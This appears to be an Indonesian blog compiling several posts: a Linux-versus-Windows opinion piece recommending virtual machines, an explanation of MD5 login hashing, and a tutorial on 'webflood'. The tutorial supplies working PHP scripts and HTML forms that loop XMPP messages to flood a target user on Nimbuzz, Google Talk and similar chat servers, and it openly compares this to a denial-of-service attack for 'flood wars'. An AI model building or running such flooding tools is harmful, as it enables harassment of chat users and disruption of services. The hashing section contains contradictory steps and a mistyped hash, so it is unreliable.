Coba tengok apa pekerjaan anda? seorang PNS, teknisi komputer, pengelola warnet, teknisi jaringan, design grafis atau yang lain-lain. Lalu kenapa anda mesti berkata begitu jika anda memang seseorang yang bekerja di alam public. Memang saya akui bahwa linux mempunyai kekuatan yang sangat jauh di bandingkan windows, apalagi dalam soal hacking (co: backtrack = distro khusus security), Akan tetapi coba tengok orang-orang di sekitar anda juga, kemampuan mereka dalam menggunakan komputer tidak sepintar anda, tidak sejenius anda. Bayangkan jika anda seorang admin warnet dengan OS linux, lalu anda akan kerepotan jika ada pelanggan berulang-ulang bertanya: "mas, kok word saya tidak bisa di baca y?" ,"mas, kok format word saya berubah ya mas?", "mas ,kok document yang saya buat di sini nggak kebaca di lapotop saya y?". Bagi anda yang menginstall linux pada komputer pribadi kantor anda. mungkin yang akan anda alami adalah protes keras dari teman-teman anda, "KENAPA SIH KOK PAKE LINUX, UDAH TAU KOMPUTER TERBATAS, MASIH SAJA PAKE OS ANEH-ANEH, EMANG KOMPUTER INI PUNYA NENEK MOYANG MU APA??" (maaf klo ilustrasinya agak keras).

Intinya nggak usah ngomong gitu dech, simpen aja dalam hati anda, karena tidak semua orang di sekeliling anda sepintar anda, tidak semua orang di sekeliling anda yang mampu menggunakan linux, dan tidak semua software dan driver hardware mereka kompatible dengan OS linux (misalnya ada beberapa format word yang tidak terdetect oleh open office, driver printer yang tersedia cuma support windows <meskipun bisa download untuk versi linux,tapi pada waktu yang berdesakan akan ribet>). Jadi anda tetap di sarankan memakai OS windows juga. Selengkapnya silahkan lihat padanan software yang ada di windows dengan yang ada di linux di http://softwarekomputers.blogspot.com/2010/02/tabel-padanan-aplikasi-windows-di-linux.html

Solusi topik permasalahan
Untuk mengatasi hal tersebut kita bisa menggunakan software pembuat virtual komputer. Seperti virtualbox, vmware dan lain-lain. Dengan adanya virtual komputer:
1. anda bisa mempelajari beberapa OS sekaligus di dalam satu layar.
2. anda tidak perlu takut untuk mempelajari malware, edit registry, oprek OS dan lain-lain karena yang anda perlu lakukan jika terjadi crash adalah mendelete OS tersebut dari software virtual komputer anda.
3. anda tidak memerlukan harddisk yang besar, tidak perlu mempartisi lagi , tidak perlu menunggu install ulang OS yang memakan waktu lama seperti yang terjadi pada double booting.
4. Anda bisa mempelajari jaringan, karena terdapat feature virtual LAN pada software virtual komputer. (pastinya anda tidak bisa lagi berkelit untuk tidak mempelajari sniffer)

Tutorial mengenai penggunaan program virtual komputer sendiri, akan saya jelaskan pada bab tutorial sederhana virtualbox

semoga bermanfaat

Cara 1 way hash bekerja pada halaman Login

Ini merupakan pertanyaan lama teman saya. Bagaimana bisa suatu web yang menggunakan 1 way hash mengetahui password user ,jika 1 way hash tidak bisa di dekripsikan?

1 way hash (co: md5, sha-1) itu memang tidak dapat di decrypt ulang, yang bisa kita lakukan untuk cracking 1 way hash hanya 2 cara yaitu brute force dan dictionary force.

Cara halaman login web yang menggunakan md5 bekerja adalah:
1. user registrasi dengan password
12345
2. system web lalu akan meenskripsi
12345 menjad 27ccb0eea8a706c4c34a16891f84e7b (enskripsi 12345 dalam md5)
3. sytem web akan menyimpan 827ccb0eea8a706c4c34a16891f84e7b ke dalam database. Jadi yang di simpan bukanlah password, akan tetapi enskripsi passwordnya (md5) yang akan di simpan
4. Ketika user melakukan login dengan memasukkan passwordnya, maka system web akan menencrypt ulang 12345 ke dalam md5, dan lalu akan di bandingkan dengan enskripsi md5 yang telah di simpan di database sebelumnya.
5. jika md5 dari password yang di masukkan adalah sama dengan md5 yang di simpan di dalam database , berarti user tersebut berhasil melakukan login
6. jika md5 dari password yang di masukkan adalah sama dengan md5 yang di simpan di dalam database , berarti user tersebut gagal melakukan login


Jadi penjelasan singkatnya adalah:
web hanya akan membandingkan password yang dimasukkan dengan password yang tersimpan di database , bukan mendecrypt ulang md5 menjadi plain text password nya.


Berikut gambaran sederhana database mySQL:

Nousernamepassword
1admin827ccb0eea8a706c4c34a16891f84e7b
2tonoab56b4d92b40713acc5af89985d4b786
3ardie99a18c428cb38d5f260853678922e03

semoga bermanfaat

Minggu, 25 April 2010

Tutorial webflood for nimbuzz, gtalk, YM, facebook, jabber and the other chat server

Author: darkslayer aka plonk5638
date: 27 Juni 2010
Thanx a lot for the starter of this topic: anak_kost

Akhir-akhir ini ketika saya online kembali menggunakan nimbuzz, sering sekali saya jumpai flood di room-room tertentu oleh orang yang tak di kenal. Bahkan ada beberapa orang yang mengaku di kirimi flood terus-terus menerus oleh beberapa anggota geng tertentu.


Awal sejarah flood di nimbuzz
Pada jaman dahulu flood pada chat nimbuzz dilakukan dengan cara manual yaitu dengan melakukan copy paste secara cepat. Memang cara seperti ini tidak bisa membuat disconnect user PC, akan tetapi pada user HP, dampak yang di timbulkan oleh cara manual ini sangatlah terasa. Maklum karena pada tahun 2007-2008 Kapasitas RAM pada HP masih begitu rendah, sehingga menyebabkan koneksi gprs mengalami ketidakstabilan dan akhirnya menyebabkan disconnect. Karena copy paste manual sangatlah amatir, maka muncullah aplikasi jetflood yaitu sebuah aplikasi sederhana yang di buat dari bahasa visual basic dengan cara kerja melakukan copy-paste dari suatu text dan enter terus menerus dalam jumlah tertentu.

Karena user HP tidak mau ketinggalan maka keluarlah flood dengan cara melakukan copy paste pada xml console yang awalnya di pelopori oleh like_beck. Cara ini pun lalu berkembang dengan pesat. Setetlah itu muncullah aplikasi baby ngiler emplud dan zombie killer flood yang di buat oleh romeo_must_die. Software yang fantastis ini pun sekarang hanya dapat anda miliki jika anda bisa mau membayar ke pemilik software. Alasannya adalah dengan menjadikannya sebagai shareware maka kerusakan di room-room dapat di minimalisir. Banyak para penggunayang begitu kecewa akan hal ini. Tapi akhrnya kebuntuan itu pun hilang sudah ketika anak_kost memperkenalkan apa yang di sebut dengan webflood. Webflood ini berjalan dengan menggunakan script xmpphp dengan tambahan looping script untuk melakukan flooding. Awalnya semua orang menggunakan webhosting gratis untuk mengupload script webflood. Akan tetapi lama-kelamaan sangat susah di jumpai webhosting yang masih mau menerima xmpphp ini, dikarenakan mayoritas webhosting sudah memblokir script xmpphp. Tak kurang akal para maniak flooder pun akhirnya menggunakan localhost untuk melakukan flooding webflood ini. Akan tetapi keterbatasan bandwitch dan spesifikasi tiap komputer localhost sangatlah berpengaruh akan kecepatan flooding. Sehingga ada sebagian orang yang rela membayar webhosting demi melakukan flooding ini.

Alasan pembuatan artikel ini kembali
Artikel ini sebenarnya sudah di buat oleh anak_kost pada web NFI yang lama. Akan tetapi dikarenakan web NFI yang lama tersebut telah di hack oleh orang tak bertanggung jawab maka hilanglah sudah artikel tersebut. Alasan kedua saya membuat artikel ini adalah dikarenakan murni untuk aktifitas war (perang flood). Saya tidak ada maksud tertentu untuk membantu mereka akan tetapi mungkin dengan membaca artikel ini para innocent bisa membalas apabila kenyamanan chatingnya diganggu oleh orang-orang yang tak bertanggung jawab lainnya.

Apa itu nimbuzz?
nimbuzz adalah server chat layak nya mig33, facebook, icq, yahoo, google dan lain-lain. Nimbuzz menggunakan sebagian protokol xmpp sebagai protokol chat nya. Selengkapnya silahkan kunjungi www.nimbuzz.com , www.nimbuzz.com/forum dan www.xmpp.org

Apa itu flooding?
Flood berasalah dari bahasa inggris yang berarti banjir. Flooding dalam istilah chat adalah aktifitas membanjiri layanan chat dengan konten tertentu. Istilah flood sendiri bisa disamakan dengan DoS (Denial of Service) yaitu suatu aktifitas untuk membanjiri target dengan packet-packet tertentu sampai mengalami penolakan layanan.

Apa yang dimaksud dengan DDoS?
DDoS adalah DoS yang dilakukan dengan lebih dari 1 mesin.

Apa itu webflood?
webflood adalah suatu web yang digunakan untuk melakukan flooding dengan menggunakan suatu script yang dalam hal ini adalah xmpphp

Jenis-jenis webflood
1. Webflood yang dijalankan pada localhost PC
2. webflood yang dijalankan pada localhost HP kita
3. webflood yang dijalankan pada webhosting di luar komputer/HP kita

Cara membuat script webflood
Pertama-tama silahkan download aplikasi webserver seperti xampp, appserv, IIS dll. Disini saya mengguanakan xampp yang bisa anda download di www.xampp.org. Setelah download silahkan extract dan install.

lalu untuk script xmpphp silahkan download xmpphp di http://code.google.com/xmpphp. Saya memilih xmpphp-0.1rc2r77.zip. Lalu extract dan akan terdapat folder berikut


Buatlah sebuah folder pada direktori c:\xampp\htdocs (jika anda menggunakan xampp) dengan nama webflood. Setelah itu buka file sendmessage_example.php dengan notepad.

script 1
<?php

// activate full error reporting
//error_reporting(E_ALL & E_STRICT);

include 'XMPPHP/XMPP.php';

#Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports
#If this doesn't work, are you running 64-bit PHP with < 5.2.6?
$conn = new XMPPHP_XMPP('talk.google.com', 5222, 'username', 'password', 'xmpphp', 'gmail.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message('someguy@someserver.net', 'This is a test message!');
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Keterangan script 1:
talk.google.com = nama host dari server google talk
5222 = nomer port yang digunakan untuk berkomunikasi
username = nama user ID chat anda
password = password user ID chat anda
xmpphp = nama resource / aplikasi chat /chat client yang kita pakai
gmail.com = nama server dari google talk

Coba masukkan ID chat, password anda. Dalam hal ini saya akan mencoba mengirimkan 1 private chat dari kancute_tonggo@nimbuzz.com ke plonk5638@nimbuzz.com

script 2
<?php

// activate full error reporting
//error_reporting(E_ALL & E_STRICT);

include 'XMPPHP/XMPP.php';

#Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports
#If this doesn't work, are you running 64-bit PHP with < 5.2.6?
$conn = new XMPPHP_XMPP('openfire.nimbuzz.com', 5222, 'kancute_tonggo', '******', 'xmpphp', 'nimbuzz.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message('plonk5638@nimbuzz.com', 'This is a test message!');
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Save script di atas dengan nama script2.php dan simpan pada folder c:\xampp\htdocs\webflood. Setelah itu aktifkan apache pada xampp anda. Buka browser anda dan masukkan url berikut http://localhost/webflood/coba.php. Lalu akan terkirim sebuah pesan dari kancute_tonggo@nimbuzz.com/xmpphp kepada plonk5638@nimbuzz.com berisi "This is a test message!"


Keterangan script 2:
Ganti kancute_tonggo dengan ID chat nimbuzz anda. Ganti ***** dengan password chat nimbuzz anda. Ganti plonk5638@nimbuzz.com dengan user ID chat yang anda tuju.

Berhenti di sini jika percobaan anda gagal. Karena ini merupakan hal dasar untuk membuat script webflood selanjutnya. Jika anda tetap mengalami kegagalan di sini coba cek versi php anda apakah di bawah php versi 5.2.6, karena versi minimum php yang di butuhkan adalah 5.2.6. Versi php pada xampp saya adalah versi 5.3.1.

Sekarang mari kita membuat hal ini lebih mudah dalam hal interface nya.
Disini saya akan membuat sebuah interface dari html bukan menyatukan scriptnya menjadi 1 dengan php karena menurut pendapat saya perulangan / looping secara terpisah seperti ini akan membuat script melakukan looping lebih ringan daripada dijadikan satu.

script 3
<html><body>
<form method="post" action="coba1.php">
Username:<input type="text" name="username"/><br>
Password:<input type="text" name="password"/><br>
Host:<input type="text" name="host"/><br>
Port:<input type="text" name="port"/><br>
Server Name:<input type="text" name="server"/><br>
Resource:<input type="text" name="resource"/><br>
Username Target:<input type="text" name="target"/><br>
Enter your message:<input type="text" name="textflood"/><br>
Kirim<input type="submit" name="Submit" value="Submit"/>
</form>
</body></html>

Simpan dengan nama coba1.html dan save pada direktori webflood tadi
Keterangan script 3:
Tidak ada, karena saya kira anda sudah memahami script html yang sederhana ini. Mengenai penjelasan mengapa saya tetap memasukkan textbox port, server dan host yang memiliki nilai tetap jika saya menggunakan server nimbuzz? Hal ini karena nantinya kita juga akan berbicara mengenai flooding ke server lain selain server nimbuzz. Just do it !!

script 4
<?php

$user=$_POST['username'];
$pass=$_POST['password'];
$host=$_POST['host'];
$port= '5222';
$server=$_POST['server'];
$resource=$_PORT['resource'];
$to=$_POST['target'];
$body=$_POST['textflood'];
include 'XMPPHP/XMPP.php';

$conn = new XMPPHP_XMPP($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message($to, $body);
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

save dengan nama coba1.php pada direktori webflood.
Keterangan script 4:
Disini saya hanya melakukan declare variable agar kita bisa dengan mudah mengubah username, password, dll.

Sekarang coba buka browser anda dan tulis url http://localhost/webflood/coba.html. Dan masukkan data seperti data pada script 2


Lalu klik submit. Maka kancut_tonggo akan mengirimkan 1 private chat kepada plonk5638. Bila tidak ada pesan yang terkirim, tolong ulangi lagi sampai berhasil, karena ini masih dasar.

Flooding Private Chat
Sekarang kita beranjak ke flood private chat dengan melakukan looping / perulangan pada jumlah tertentu. Di sini kita akan menambahkan textbox jumlah dan script looping yaitu

script 5:
for ($i = 1; $i <=$jumlah; $i++)

Keterangan script 5:
script ini akan memerintahkan untuk melakukan perulangan sebanyak variabel jumlah.

Sekarang kita masukkan textbox untuk menambahkan jumlah pada coba1.html. Sehingga menjadi:

script 6
<html><body>
<form method="post" action="coba2.php">
Username:<input type="text" name="username"/><br>
Password:<input type="text" name="password"/><br>
Host:<input type="text" name="host"/><br>
Port:<input type="text" name="port"/><br>
Server Name:<input type="text" name="server"/><br>
Resource:<input type="text" name="resource"/><br>
Username Target:<input type="text" name="target"/><br>
Jumlah Flood:<input type="text" name="jumlah"/><br>
Enter your message:<input type="text" name="textflood"/><br>
Kirim<input type="submit" name="Submit" value="Submit"/>
</form>
</body></html>

Copy script di atas dan save dengan nama coba2.html

Keterangan script 6:
Disini saya cuma menambahkan textbox jumlah untuk menentukan jumlah flood yang akan kita kirimkan

script 7
<?php

$user=$_POST['username'];
$pass=$_POST['password'];
$host=$_POST['host'];
$port= '5222';
$server=$_POST['server'];
$resource=$_PORT['resource'];
$to=$_POST['target'];
$body=$_POST['textflood'];
$jumlah=$_POST['jumlah'];
include 'XMPPHP/XMPP.php';

$conn = new XMPPHP_XMPP($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
for ($i = 1; $i <=$jumlah; $i++)
{
$conn->message($to, $body);
}
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Save dengan nama coba2.php. Lalu masuk seperti biasa test script ini. Jika berhasil maka 10 private chat akan terkirim.


dasdasdasdsadasd